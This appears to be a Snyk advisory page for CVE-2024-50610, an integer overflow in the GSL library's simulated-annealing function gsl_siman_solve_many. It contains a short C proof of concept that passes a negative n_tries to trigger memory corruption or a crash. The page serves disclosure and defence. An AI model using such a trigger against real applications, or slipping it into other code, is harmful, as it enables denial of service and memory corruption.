Integer Overflow or Wraparound Affecting gsl package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.28% (23rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Integer Overflow or Wraparound vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-CONAN-GSL-10075958
  • published8 May 2025
  • disclosed27 Oct 2024
  • creditsilviadefra

Introduced: 27 Oct 2024

CVE-2024-50610  (opens in a new tab)
CWE-190  (opens in a new tab)

How to fix?

There is no fixed version for gsl.

Overview

Affected versions of this package are vulnerable to Integer Overflow or Wraparound due to the gsl_siman_solve_many function in siman/siman.c. An attacker can trigger memory corruption or cause an application to crash by supplying a specially-crafted payload that manipulates params.n_tries to be negative.

PoC

   #include <gsl/gsl_siman.h>
   #include <gsl/gsl_rng.h>
   #include <gsl/gsl_vector.h>
   double objective_function(void *xp) {
       return 0.0;
   }
   void take_step(const gsl_rng *r, void *xp, double step_size) {
   }


   int main(void) {
       gsl_rng *r;
       gsl_rng_env_setup();
       r = gsl_rng_alloc(gsl_rng_default);
       // Initialize GSL Simulated Annealing parameters
       gsl_siman_params_t p;
       p.n_tries = -1;// Integer overflow vulnerability: invalid number of trials
       gsl_vector *x0 = gsl_vector_alloc(1);
       // Call the simulated annealing solver (this is the key call for the vulnerability)
       gsl_siman_solve_many(r, x0, objective_function, take_step, NULL, NULL, sizeof(gsl_vector), p);
       return 0;
   }

CVSS Base Scores

version 4.0
version 3.1